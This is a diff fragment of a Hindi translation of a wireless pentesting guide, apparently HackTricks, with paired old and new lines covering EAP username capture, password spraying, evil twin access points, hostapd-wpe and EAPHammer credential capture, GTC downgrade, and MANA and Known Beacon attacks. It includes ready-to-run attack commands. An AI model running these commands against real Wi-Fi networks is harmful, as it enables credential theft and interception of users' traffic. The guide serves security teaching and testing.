आप इन प्रमाणीकरण विधियों के बारे में अधिक जानकारी [यहां](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) और [यहां](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html) पा सकते हैं।
@ -409,7 +409,7 @@ pyrit -r psk-01.cap analyze
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) को पढ़ने पर ऐसा लगता है कि यदि आप **EAP** का उपयोग कर रहे हैं तो **"Identity"** **messages** का **समर्थन** होना चाहिए, और **username** **"Response Identity"** संदेशों में **स्पष्ट** रूप से भेजा जाएगा।
यहां तक कि सबसे सुरक्षित प्रमाणीकरण विधियों में से एक: **PEAP-EAP-TLS** का उपयोग करते समय भी, **EAP प्रोटोकॉल में भेजे गए username को कैप्चर करना संभव है**। ऐसा करने के लिए, **एक प्रमाणीकरण संचार कैप्चर करें** (एक चैनल के भीतर `airodump-ng` शुरू करें और उसी इंटरफेस में `wireshark`) और पैकेट को `eapol` द्वारा फ़िल्टर करें।\
यहां तक कि सबसे सुरक्षित प्रमाणीकरण विधियों में से एक: **PEAP-EAP-TLS** का उपयोग करते समय भी, **EAP प्रोटोकॉल में भेजे गए username को कैप्चर करना संभव है**। ऐसा करने के लिए, **एक प्रमाणीकरण संचार को कैप्चर करें** (एक चैनल के भीतर `airodump-ng` शुरू करें और उसी इंटरफेस में `wireshark`) और पैकेट को `eapol` द्वारा फ़िल्टर करें।\
"**Response, Identity**" पैकेट के भीतर, क्लाइंट का **username** दिखाई देगा।
![](<../../.gitbook/assets/image (850).png>)
@ -424,17 +424,17 @@ pyrit -r psk-01.cap analyze
* इस स्थिति में, विभिन्न क्षेत्रों के उपयोगकर्ता अपनी पहचान छिपाते हैं जबकि अपने संबंधित क्षेत्रों का संकेत देते हैं। यह प्रारंभिक RADIUS सर्वर को EAP-PEAP या EAP-TTLS अनुरोधों को उनके होम क्षेत्रों में RADIUS सर्वरों को प्रॉक्सी करने की अनुमति देता है, जो PEAP या TTLS सर्वर के रूप में कार्य करते हैं। प्रारंभिक RADIUS सर्वर केवल एक RADIUS रिले नोड के रूप में कार्य करता है।
* वैकल्पिक रूप से, प्रारंभिक RADIUS सर्वर EAP-PEAP या EAP-TTLS सर्वर के रूप में कार्य कर सकता है और या तो सुरक्षित प्रमाणीकरण विधि को संभाल सकता है या इसे किसी अन्य सर्वर को अग्रेषित कर सकता है। यह विकल्प विभिन्न क्षेत्रों के लिए विशिष्ट नीतियों की कॉन्फ़िगरेशन की सुविधा प्रदान करता है।
EAP-PEAP में, एक बार जब PEAP सर्वर और PEAP क्लाइंट के बीच TLS टनल स्थापित हो जाती है, तो PEAP सर्वर एक EAP-Identity अनुरोध शुरू करता है और इसे TLS टनल के माध्यम से भेजता है। क्लाइंट इस दूसरे EAP-Identity अनुरोध का उत्तर EAP-Identity प्रतिक्रिया भेजकर देता है, जिसमें उपयोगकर्ता की वास्तविक पहचान एन्क्रिप्टेड टनल के माध्यम से होती है। यह दृष्टिकोण 802.11 ट्रैफ़िक पर किसी भी व्यक्ति को उपयोगकर्ता की वास्तविक पहचान प्रकट करने से प्रभावी रूप से रोकता है।
EAP-PEAP में, एक बार जब PEAP सर्वर और PEAP क्लाइंट के बीच TLS टनल स्थापित हो जाती है, तो PEAP सर्वर एक EAP-Identity अनुरोध शुरू करता है और इसे TLS टनल के माध्यम से भेजता है। क्लाइंट इस दूसरे EAP-Identity अनुरोध का उत्तर EAP-Identity प्रतिक्रिया भेजकर देता है, जिसमें उपयोगकर्ता की वास्तविक पहचान एन्क्रिप्टेड टनल के माध्यम से होती है। यह दृष्टिकोण 802.11 ट्रैफ़िक पर किसी भी ईव्सड्रॉपिंग करने वाले को उपयोगकर्ता की वास्तविक पहचान प्रकट करने से प्रभावी रूप से रोकता है।
EAP-TTLS एक थोड़ी अलग प्रक्रिया का पालन करता है। EAP-TTLS के साथ, क्लाइंट आमतौर पर PAP या CHAP का उपयोग करके प्रमाणीकरण करता है, जो TLS टनल द्वारा सुरक्षित होता है। इस मामले में, क्लाइंट प्रारंभिक TLS संदेश में एक User-Name विशेषता और या तो एक Password या CHAP-Password विशेषता शामिल करता है जो टनल स्थापना के बाद भेजा जाता है।
चाहे कोई भी प्रोटोकॉल चुना जाए, PEAP/TTLS सर्वर TLS टनल स्थापित होने के बाद उपयोगकर्ता की वास्तविक पहचान के बारे में जानकारी प्राप्त करता है। वास्तविक पहचान को user@realm या केवल user के रूप में दर्शाया जा सकता है। यदि PEAP/TTLS सर्वर उपयोगकर्ता को प्रमाणीकरण करने के लिए भी जिम्मेदार है, तो अब यह उपयोगकर्ता की पहचान रखता है और TLS टनल द्वारा सुरक्षित प्रमाणीकरण विधि के साथ आगे बढ़ता है। वैकल्पिक रूप से, PEAP/TTLS सर्वर उपयोगकर्ता के होम RADIUS सर्वर को एक नया RADIUS अनुरोध अग्रेषित कर सकता है। यह नया RADIUS अनुरोध PEAP या TTLS प्रोटोकॉल परत को छोड़ देता है। जहां सुरक्षित प्रमाणीकरण विधि EAP है, वहां आंतरिक EAP संदेशों को बिना EAP-PEAP या EAP-TTLS आवरण के होम RADIUS सर्वर को भेजा जाता है। आउटगोइंग RADIUS संदेश की User-Name विशेषता उपयोगकर्ता की वास्तविक पहचान को शामिल करती है, जो आने वाले RADIUS अनुरोध से अनाम User-Name को प्रतिस्थापित करती है। जब सुरक्षित प्रमाणीकरण विधि PAP या CHAP (जो केवल TTLS द्वारा समर्थित है) होती है, तो आउटगोइंग RADIUS संदेश में TLS पेलोड से निकाली गई User-Name और अन्य प्रमाणीकरण विशेषताओं को अनाम User-Name और आने वाले RADIUS अनुरोध में पाए गए TTLS EAP-Message विशेषताओं को प्रतिस्थापित किया जाता है
चाहे प्रोटोकॉल जो भी चुना जाए, PEAP/TTLS सर्वर TLS टनल स्थापित होने के बाद उपयोगकर्ता की वास्तविक पहचान के बारे में जानकारी प्राप्त करता है। वास्तविक पहचान को user@realm या केवल user के रूप में दर्शाया जा सकता है। यदि PEAP/TTLS सर्वर उपयोगकर्ता को प्रमाणीकरण करने के लिए भी जिम्मेदार है, तो अब यह उपयोगकर्ता की पहचान रखता है और TLS टनल द्वारा सुरक्षित प्रमाणीकरण विधि के साथ आगे बढ़ता है। वैकल्पिक रूप से, PEAP/TTLS सर्वर उपयोगकर्ता के होम RADIUS सर्वर को एक नया RADIUS अनुरोध अग्रेषित कर सकता है। यह नया RADIUS अनुरोध PEAP या TTLS प्रोटोकॉल परत को छोड़ देता है। उन मामलों में जहां सुरक्षित प्रमाणीकरण विधि EAP है, आंतरिक EAP संदेशों को होम RADIUS सर्वर पर EAP-PEAP या EAP-TTLS रैपर के बिना भेजा जाता है। आउटगोइंग RADIUS संदेश की User-Name विशेषता उपयोगकर्ता की वास्तविक पहचान को शामिल करती है, जो आने वाले RADIUS अनुरोध से अनाम User-Name को प्रतिस्थापित करती है। जब सुरक्षित प्रमाणीकरण विधि PAP या CHAP (जो केवल TTLS द्वारा समर्थित है) होती है, तो TLS पेलोड से निकाली गई User-Name और अन्य प्रमाणीकरण विशेषताएँ आउटगोइंग RADIUS संदेश में प्रतिस्थापित की जाती हैं, जो आने वाले RADIUS अनुरोध में पाए गए अनाम User-Name और TTLS EAP-Message विशेषताओं को विस्थापित करती हैं
अधिक जानकारी के लिए देखें [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
### EAP-Bruteforce (password spray)
यदि क्लाइंट से **username और password** का उपयोग करने की अपेक्षा की जाती है (ध्यान दें कि इस मामले में **EAP-TLS मान्य नहीं होगा**), तो आप **usernames** (अगले भाग को देखें) और **passwords** की एक **सूची** प्राप्त करने का प्रयास कर सकते हैं और **bruteforce** का उपयोग करके एक्सेस करने का प्रयास कर सकते हैं [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
यदि क्लाइंट से **username और password** का उपयोग करने की अपेक्षा की जाती है (ध्यान दें कि इस मामले में **EAP-TLS मान्य नहीं होगा**), तो आप **usernames** (अगले भाग को देखें) और **passwords** की एक **सूची** प्राप्त करने का प्रयास कर सकते हैं और **access को bruteforce** करने का प्रयास कर सकते हैं [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
@ -456,8 +456,8 @@ EAP-TTLS एक थोड़ी अलग प्रक्रिया का प
### Preferred Network Lists (PNLs)
* स्टेशन अपने पसंदीदा नेटवर्क सूची (PNL) में हर वायरलेस नेटवर्क के ESSID को संग्रहीत करते हैं, जिसमें नेटवर्क-विशिष्ट कॉन्फ़िगरेशन विवरण भी होते हैं।
* PNL का उपयोग ज्ञात नेटवर्क से स्वचालित रूप से कनेक्ट करने के लिए किया जाता है, जिससे उपयोगकर्ता के अनुभव में सुधार होता है और कनेक्शन प्रक्रिया को सरल बनाया जाता है।
* स्टेशन अपने पसंदीदा नेटवर्क सूची (PNL) में हर वायरलेस नेटवर्क के ESSID को संग्रहीत करते हैं, जिसमें नेटवर्क-विशिष्ट कॉन्फ़िगरेशन विवरण भी शामिल होते हैं।
* PNL ज्ञात नेटवर्कों से स्वचालित रूप से कनेक्ट करने के लिए उपयोग किया जाता है, जिससे उपयोगकर्ता के अनुभव में सुधार होता है और कनेक्शन प्रक्रिया को सरल बनाया जाता है।
### Passive Scanning
@ -469,11 +469,11 @@ EAP-TTLS एक थोड़ी अलग प्रक्रिया का प
* सक्रिय प्रोबिंग में स्टेशन पास के APs और उनकी विशेषताओं का पता लगाने के लिए प्रोब अनुरोध भेजते हैं।
* निर्देशित प्रोब अनुरोध एक विशिष्ट ESSID को लक्षित करते हैं, यह पता लगाने में मदद करते हैं कि क्या कोई विशेष नेटवर्क रेंज में है, भले ही यह एक छिपा हुआ नेटवर्क हो।
* प्रसारण प्रोब अनुरोध में एक शून्य SSID फ़ील्ड होती है और इन्हें सभी नजदीकी APs को भेजा जाता है, जिससे स्टेशन बिना अपने PNL सामग्री का खुलासा किए किसी भी पसंदीदा नेटवर्क की जांच कर सकता है
* प्रसारण प्रोब अनुरोध में एक शून्य SSID फ़ील्ड होती है और इन्हें सभी नजदीकी APs को भेजा जाता है, जिससे स्टेशन बिना अपने PNL सामग्री का खुलासा किए किसी भी पसंदीदा नेटवर्क की जांच कर सक
## Simple AP with redirection to Internet
जटिल हमलों को करने के तरीके को समझाने से पहले यह समझाया जाएगा **कैसे** केवल **एक AP** **बनाएं** और **इसके ट्रैफ़िक** को **इंटरनेट** से जुड़े **इंटरफेस** पर **रीडायरेक्ट** करें।
जटिल हमलों को करने के तरीके को समझाने से पहले यह समझाया जाएगा **कैसे** केवल **एक** **AP** **बनाएं** और **इसके** **ट्रैफ़िक** को **इंटरनेट** से जुड़े **इंटरफेस** पर **रीडायरेक्ट** करें।
`ifconfig -a` का उपयोग करके जांचें कि AP बनाने के लिए wlan इंटरफेस और इंटरनेट से जुड़े इंटरफेस मौजूद हैं।
@ -539,10 +539,10 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
एक ईविल ट्विन हमला वाईफाई क्लाइंट्स द्वारा नेटवर्कों को पहचानने के तरीके का लाभ उठाता है, जो मुख्य रूप से नेटवर्क नाम (ESSID) पर निर्भर करता है बिना बेस स्टेशन (एक्सेस पॉइंट) को क्लाइंट के लिए खुद को प्रमाणित करने की आवश्यकता के। मुख्य बिंदु शामिल हैं:
एक ईविल ट्विन हमला WiFi क्लाइंट्स द्वारा नेटवर्क को पहचानने के तरीके का लाभ उठाता है, जो मुख्य रूप से नेटवर्क नाम (ESSID) पर निर्भर करता है बिना बेस स्टेशन (एक्सेस पॉइंट) को क्लाइंट के लिए प्रमाणित किए। मुख्य बिंदुओं में शामिल हैं:
* **भेदभाव में कठिनाई**: उपकरणों के लिए वैध और धोखाधड़ी एक्सेस पॉइंट्स के बीच अंतर करना मुश्किल होता है जब वे समान ESSID और एन्क्रिप्शन प्रकार साझा करते हैं। वास्तविक दुनिया के नेटवर्क अक्सर कवरेज को निर्बाध रूप से बढ़ाने के लिए समान ESSID के साथ कई एक्सेस पॉइंट्स का उपयोग करते हैं।
* **क्लाइंट रोमिंग और कनेक्शन हेरफेर**: 802.11 प्रोटोकॉल उपकरणों को एक ही ESS के भीतर एक्सेस पॉइंट्स के बीच घूमने की अनुमति देता है। हमलावर इस बात का लाभ उठा सकते हैं कि वे एक उपकरण को उसके वर्तमान बेस स्टेशन से डिस्कनेक्ट करने और एक धोखाधड़ी वाले से कनेक्ट करने के लिए लुभा सकते हैं। यह एक मजबूत सिग्नल प्रदान करके या वैध एक्सेस पॉइंट के साथ कनेक्शन को बाधित करके जैसे कि डिअथेंटिकेशन पैकेट्स या जैमिंग के माध्यम से किया जा सकता है।
* **क्लाइंट रोमिंग और कनेक्शन हेरफेर**: 802.11 प्रोटोकॉल उपकरणों को एक ही ESS के भीतर एक्सेस पॉइंट्स के बीच घूमने की अनुमति देता है। हमलावर इस बात का लाभ उठा सकते हैं कि एक उपकरण को उसके वर्तमान बेस स्टेशन से डिस्कनेक्ट करने और एक धोखाधड़ी वाले से कनेक्ट करने के लिए लुभां। यह एक मजबूत सिग्नल प्रदान करके या वैध एक्सेस पॉइंट के साथ कनेक्शन को बाधित करके जैसे कि डिअथेंटिकेशन पैकेट्स या जैमिंग के माध्यम से किया जा सकता है।
* **कार्यन्वयन में चुनौतियाँ**: कई, अच्छी तरह से रखे गए एक्सेस पॉइंट्स वाले वातावरण में ईविल ट्विन हमले को सफलतापूर्वक कार्यान्वित करना चुनौतीपूर्ण हो सकता है। एकल वैध एक्सेस पॉइंट को डिअथेंटिकेट करने से अक्सर उपकरण को एक अन्य वैध एक्सेस पॉइंट से कनेक्ट करने का परिणाम होता है जब तक कि हमलावर सभी निकटवर्ती एक्सेस पॉइंट्स को डिअथेंटिकेट नहीं कर सकता या धोखाधड़ी वाले एक्सेस पॉइंट को रणनीतिक रूप से नहीं रख सकता।
आप एक बहुत बुनियादी ओपन ईविल ट्विन (इंटरनेट पर ट्रैफ़िक रूट करने की क्षमताओं के बिना) बना सकते हैं:
@ -563,24 +563,24 @@ _कुछ OS और AV उपयोगकर्ता को चेतावन
### WPA/WPA2 Evil Twin
आप **WPA/2** का उपयोग करके एक **Evil Twin** बना सकते हैं और यदि डिवाइस उस SSID से WPA/2 के साथ कनेक्ट करने के लिए कॉन्फ़िगर किए गए हैं, तो वे कनेक्ट करने की कोशिश करेंगे। किसी भी तरह, **4-way-handshake** को पूरा करने के लिए आपको **जानना** होगा कि क्लाइंट **कौन सा पासवर्ड** उपयोग करने जा रहा है। यदि आप **नहीं जानते** हैं, तो **कनेक्शन पूरा नहीं होगा**
आप **WPA/2** का उपयोग करके एक **Evil Twin** बना सकते हैं और यदि डिवाइस उस SSID से WPA/2 के साथ कनेक्ट करने के लिए कॉन्फ़िगर किए गए हैं, तो वे कनेक्ट करने की कोशिश करेंगे। किसी भी स्थिति में, **4-way-handshake** को पूरा करने के लिए आपको **जानना** होगा कि क्लाइंट **कौन सा पासवर्ड** उपयोग करने वाला है। यदि आप **नहीं जानते** हैं, तो **कनेक्शन पूरा नहीं होगा**
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### Enterprise Evil Twin
इस हमले को समझने के लिए मैं पहले संक्षिप्त [WPA Enterprise explanation](./#wpa-enterprise-mgt) पढ़ने की सिफारिश करूंगा।
इस हमले को समझने के लिए मैं पहले संक्षिप्त [WPA Enterprise व्याख्या](./#wpa-enterprise-mgt) पढ़ने की सिफारिश करूंगा।
**Using hostapd-wpe**
**hostapd-wpe का उपयोग करना**
`hostapd-wpe` को काम करने के लिए एक **configuration** फ़ाइल की आवश्यकता होती है। इन कॉन्फ़िगरेशन के निर्माण को **automate** करने के लिए आप [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) का उपयोग कर सकते हैं (/_/etc/hostapd-wpe/_ के अंदर python फ़ाइल डाउनलोड करें)
`hostapd-wpe` को काम करने के लिए एक **कॉन्फ़िगरेशन** फ़ाइल की आवश्यकता होती है। इन कॉन्फ़िगरेशनों के निर्माण को **स्वचालित** करने के लिए आप [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) का उपयोग कर सकते हैं (/_/etc/hostapd-wpe/_ के अंदर python फ़ाइल डाउनलोड करें)
```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
कॉन्फ़िगरेशन फ़ाइल में आप कई विभिन्न चीज़ें चुन सकते हैं जैसे ssid, चैनल, उपयोगकर्ता फ़ाइलें, क्रेट/की, dh पैरामीटर, wpa संस्करण और प्रमाणीकरण...
[**EAP-TLS के साथ hostapd-wpe का उपयोग करके किसी भी प्रमाणपत्र को लॉगिन करने की अनुमति देना।**](evil-twin-eap-tls.md)
[**किसी भी प्रमाणपत्र को लॉगिन करने की अनुमति देने के लिए EAP-TLS के साथ hostapd-wpe का उपयोग करना।**](evil-twin-eap-tls.md)
**EAPHammer का उपयोग करना**
```bash
@ -600,14 +600,14 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
Or you could also use:
* `--negotiate gtc-downgrade` का उपयोग करके अत्यधिक कुशल GTC डाउनग्रेड कार्यान्वयन (plaintext passwords) का उपयोग करें
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` का उपयोग करके मैन्युअल रूप से प्रस्तावित विधियों को निर्दिष्ट करें (हमले के लिए संगठन के समान क्रम में वही प्रमाणीकरण विधियाँ प्रदान करने से हमले का पता लगाना बहुत अधिक कठिन हो जाएगा)।
* `--negotiate gtc-downgrade` highly efficient GTC downgrade implementation (plaintext passwords) का उपयोग करने के लिए
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` विधियों को मैन्युअल रूप से निर्दिष्ट करने के लिए (हमले के लिए संगठन के समान क्रम में वही प्रमाणीकरण विधियाँ प्रदान करना इसे पहचानना बहुत अधिक कठिन बना देगा)।
* [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Using Airgeddon**
`Airgeddon` पहले से उत्पन्न प्रमाणपत्रों का उपयोग करके WPA/WPA2-Enterprise नेटवर्क के लिए EAP प्रमाणीकरण प्रदान कर सकता है। नकली नेटवर्क कनेक्शन प्रोटोकॉल को EAP-MD5 में डाउनग्रेड करेगा ताकि यह **उपयोगकर्ता और पासवर्ड का MD5 कैप्चर कर सके**। बाद में, हमलावर पासवर्ड को क्रैक करने की कोशिश कर सकता है।\
`Airgeddon` आपको **निरंतर Evil Twin हमले (noisy)** या **केवल तब तक Evil Attack बनाने की संभावना प्रदान करता है जब तक कोई कनेक्ट न हो (smooth)**
`Airggedon` आपको **निरंतर Evil Twin हमले (शोर)** या **केवल तब तक Evil Attack बनाना जब तक कोई कनेक्ट न हो (मुलायम)** करने की संभावना प्रदान करता है।
![](<../../.gitbook/assets/image (936).png>)
@ -616,17 +616,17 @@ Or you could also use:
_यह विधि PEAP कनेक्शन में परीक्षण की गई थी लेकिन चूंकि मैं एक मनमाने TLS टनल को डिक्रिप्ट कर रहा हूँ, यह EAP-TTLS के साथ भी काम करना चाहिए_
**hostapd-wpe** की **configuration** के अंदर _**dh\_file**_ वाली पंक्ति को **comment** करें (from `dh_file=/etc/hostapd-wpe/certs/dh` to `#dh_file=/etc/hostapd-wpe/certs/dh`)\
यह `hostapd-wpe` को **RSA का उपयोग करके कुंजी का आदान-प्रदान** करने के लिए मजबूर करेगा, ताकि आप बाद में **ट्रैफ़िक को डिक्रिप्ट** कर सकें **सर्वर की निजी कुंजी को जानते हुए**
यह `hostapd-wpe` को **RSA का उपयोग करके कुंजी का आदान-प्रदान** करने के लिए बनाएगा, ताकि आप बाद में **ट्रैफ़िक को डिक्रिप्ट** कर सकें **सर्वर की निजी कुंजी को जानते हुए**
अब **Evil Twin** को **`hostapd-wpe`** का उपयोग करके उस संशोधित कॉन्फ़िगरेशन के साथ सामान्य रूप से शुरू करें। इसके अलावा, **Evil Twin हमले** को करने वाले **interface** में **`wireshark`** शुरू करें।
अब या बाद में (जब आपने पहले से कुछ प्रमाणीकरण इरादे कैप्चर कर लिए हैं) आप wireshark में निजी RSA कुंजी जोड़ सकते हैं: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
अब या बाद में (जब आपने पहले से कुछ प्रमाणीकरण इरादे कैप्चर कर लिए हैं) आप निजी RSA कुंजी को wireshark में जोड़ सकते हैं: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
एक नया प्रविष्टि जोड़ें और इस मानों के साथ फॉर्म भरें: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**अपनी कुंजी फ़ाइल का चयन करें**, समस्याओं से बचने के लिए एक कुंजी फ़ाइल **बिना पासवर्ड सुरक्षित** के चुनें)।
एक नया प्रविष्टि जोड़ें और इस मानों के साथ फॉर्म भरें: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**अपनी कुंजी फ़ाइल चुनें**, समस्याओं से बचने के लिए एक कुंजी फ़ाइल **बिना पासवर्ड सुरक्षा के चुनें**)।
![](<../../.gitbook/assets/image (687).png>)
और नए **"Decrypted TLS" टैब** पर नज़र डालें:
और नए **"Decrypted TLS" tab** पर नज़र डालें:
![](<../../.gitbook/assets/image (231).png>)
@ -636,14 +636,14 @@ _यह विधि PEAP कनेक्शन में परीक्षण
Media Access Control Filter Lists (MFACLs) के विभिन्न प्रकार और उनके संबंधित मोड और एक धोखाधड़ी Access Point (AP) के व्यवहार पर प्रभाव:
1. **MAC-आधारित Whitelist**:
1. **MAC-based Whitelist**:
* धोखाधड़ी AP केवल व्हाइटलिस्ट में निर्दिष्ट उपकरणों से प्रॉब अनुरोधों का उत्तर देगा, अन्य सभी के लिए अदृश्य रहेगा।
2. **MAC-आधारित Blacklist**:
2. **MAC-based Blacklist**:
* धोखाधड़ी AP ब्लैकलिस्ट में उपकरणों से प्रॉब अनुरोधों की अनदेखी करेगा, प्रभावी रूप से धोखाधड़ी AP को उन विशिष्ट उपकरणों के लिए अदृश्य बना देगा।
3. **SSID-आधारित Whitelist**:
3. **SSID-based Whitelist**:
* धोखाधड़ी AP केवल विशिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जिनकी पसंदीदा नेटवर्क सूचियों (PNLs) में वे ESSIDs शामिल नहीं हैं।
4. **SSID-आधारित Blacklist**:
* धोखाधड़ी AP ब्लैकलिस्ट में विशिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर नहीं देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जो उन विशेष नेटवर्क की तलाश कर रहे हैं।
4. **SSID-based Blacklist**:
* धोखाधड़ी AP ब्लैकलिस्ट में विशिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर नहीं देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जो उन विशेष नेटवर्कों की तलाश कर रहे हैं।
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -669,9 +669,9 @@ name3
### MANA
फिर, **उपकरणों ने अनचाहे नेटवर्क प्रतिक्रियाओं की अनदेखी करना शुरू कर दिया**, जिससे मूल कर्मा हमले की प्रभावशीलता कम हो गई। हालाँकि, एक नई विधि, जिसे **MANA हमले** के रूप में जाना जाता है, को इयान डी विल्लियर्स और डोमिनिक व्हाइट द्वारा पेश किया गया। यह विधि धोखेबाज़ AP **उपकरणों से प्रेफर्ड नेटवर्क सूचियों (PNL) को कैप्चर करने के लिए उनके प्रसारण प्रॉब अनुरोधों का उत्तर देने में शामिल है** जिसमें उपकरणों द्वारा पहले से अनुरोधित नेटवर्क नाम (SSIDs) होते हैं। यह जटिल हमला मूल कर्मा हमले के खिलाफ सुरक्षा को दरकिनार करता है, उपकरणों द्वारा ज्ञात नेटवर्क को याद रखने और प्राथमिकता देने के तरीके का लाभ उठाकर।
फिर, **उपकरणों ने अनचाहे नेटवर्क प्रतिक्रियाओं की अनदेखी करना शुरू कर दिया**, जिससे मूल कर्मा हमले की प्रभावशीलता कम हो गई। हालाँकि, एक नई विधि, जिसे **MANA हमले** के रूप में जाना जाता है, को इयान डी विल्लियर्स और डोमिनिक व्हाइट द्वारा पेश किया गया। यह विधि धोखेबाज़ AP **उपकरणों से प्रेफर्ड नेटवर्क सूचियों (PNL) को उनके प्रसारण प्रॉब अनुरोधों का उत्तर देकर कैप्चर करती है** जिसमें उपकरणों द्वारा पहले से मांगे गए नेटवर्क नाम (SSIDs) होते हैं। यह जटिल हमला मूल कर्मा हमले के खिलाफ सुरक्षा को दरकिनार करता है, उपकरणों द्वारा ज्ञात नेटवर्क को याद रखने और प्राथमिकता देने के तरीके का लाभ उठाकर।
MANA हमला उपकरणों से निर्देशित और प्रसारण प्रॉब अनुरोधों की निगरानी करके काम करता है। निर्देशित अनुरोधों के लिए, यह उपकरण के MAC पते और अनुरोधित नेटवर्क नाम को रिकॉर्ड करता है, इस जानकारी को एक सूची में जोड़ता है। जब एक प्रसारण अनुरोध प्राप्त होता है, तो AP उस जानकारी के साथ उत्तर देता है जो उपकरण की सूची में किसी भी नेटवर्क से मेल खाती है, उपकरण को धोखेबाज़ AP से कनेक्ट करने के लिए लुभाती है।
MANA हमला उपकरणों से निर्देशित और प्रसारण प्रॉब अनुरोधों दोनों की निगरानी करके काम करता है। निर्देशित अनुरोधों के लिए, यह उपकरण के MAC पते और अनुरोधित नेटवर्क नाम को रिकॉर्ड करता है, इस जानकारी को एक सूची में जोड़ता है। जब एक प्रसारण अनुरोध प्राप्त होता है, तो AP उस उपकरण की सूची में किसी भी नेटवर्क से मेल खाने वाली जानकारी के साथ उत्तर देता है, जिससे उपकरण को धोखेबाज़ AP से कनेक्ट करने के लिए आकर्षित किया जाता है।
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -683,15 +683,15 @@ A **Loud MANA attack** एक उन्नत रणनीति है जब
```
### Known Beacon attack
जब **Loud MANA attack** पर्याप्त नहीं हो सकता, **Known Beacon attack** एक और दृष्टिकोण प्रस्तुत करता है। यह विधि **किसी भी नेटवर्क नाम का उत्तर देने वाले AP का अनुकरण करके कनेक्शन प्रक्रिया को ब्रूट-फोर्स करती है, संभावित ESSIDs की एक सूची के माध्यम से चक्रित करती है** जो एक शब्द सूची से निकाली गई है। यह कई नेटवर्कों की उपस्थिति का अनुकरण करता है, उम्मीद करते हुए कि यह पीड़ित के PNL के भीतर एक ESSID से मेल खाता है, जो निर्मित AP से कनेक्शन प्रयास को प्रेरित करता है। इस हमले को `--loud` विकल्प के साथ मिलाकर उपकरणों को फंसाने के लिए अधिक आक्रामक प्रयास के लिए बढ़ाया जा सकता है।
जब **Loud MANA attack** पर्याप्त नहीं हो सकता, **Known Beacon attack** एक और दृष्टिकोण प्रस्तुत करता है। यह विधि **किसी भी नेटवर्क नाम का उत्तर देने वाले AP का अनुकरण करके कनेक्शन प्रक्रिया को ब्रूट-फोर्स करती है, संभावित ESSIDs की एक सूची के माध्यम से चक्रित होती है** जो एक शब्द सूची से निकाली गई है। यह कई नेटवर्कों की उपस्थिति का अनुकरण करता है, उम्मीद करते हुए कि एक ESSID पीड़ित के PNL में मेल खा जाए, जो निर्मित AP से कनेक्शन प्रयास को प्रेरित करता है। इस हमले को `--loud` विकल्प के साथ मिलाकर उपकरणों को फंसाने के लिए अधिक आक्रामक प्रयास के लिए बढ़ाया जा सकता है।
Eaphammer ने इस हमले को एक MANA हमले के रूप में लागू किया जहां सूची के भीतर सभी ESSIDs चार्ज किए जाते हैं (आप इसे `--loud` के साथ मिलाकर Loud MANA + Known beacons attack भी बना सकते हैं):
Eaphammer ने इस हमले को एक MANA हमले के रूप में लागू किया जहां सूची के अंदर सभी ESSIDs चार्ज किए जाते हैं (आप इसे `--loud` के साथ मिलाकर Loud MANA + Known beacons attack भी बना सकते हैं):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Known Beacon Burst attack**
**Known Beacon Burst attack** में **एक फ़ाइल में सूचीबद्ध प्रत्येक ESSID के लिए बेकन फ़्रेम का तेज़ी से प्रसारण करना** शामिल है। यह नकली नेटवर्क का एक घना वातावरण बनाता है, जिससे उपकरणों के धोखाधड़ी AP से कनेक्ट होने की संभावना बहुत बढ़ जाती है, विशेष रूप से MANA हमले के साथ मिलाकर। यह तकनीक गति और मात्रा का लाभ उठाकर उपकरणों के नेटवर्क चयन तंत्र को अभिभूत करती है।
**Known Beacon Burst attack** में **एक फ़ाइल में सूचीबद्ध प्रत्येक ESSID के लिए बेकन फ़्रेम का तेज़ी से प्रसारण करना** शामिल है। यह नकली नेटवर्क का एक घना वातावरण बनाता है, जिससे उपकरणों के धोखाधड़ी AP से कनेक्ट होने की संभावना बहुत बढ़ जाती है, विशेष रूप से जब इसे MANA हमले के साथ मिलाया जाता है। यह तकनीक गति और मात्रा का लाभ उठाकर उपकरणों के नेटवर्क चयन तंत्र को अभिभूत करती है।
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
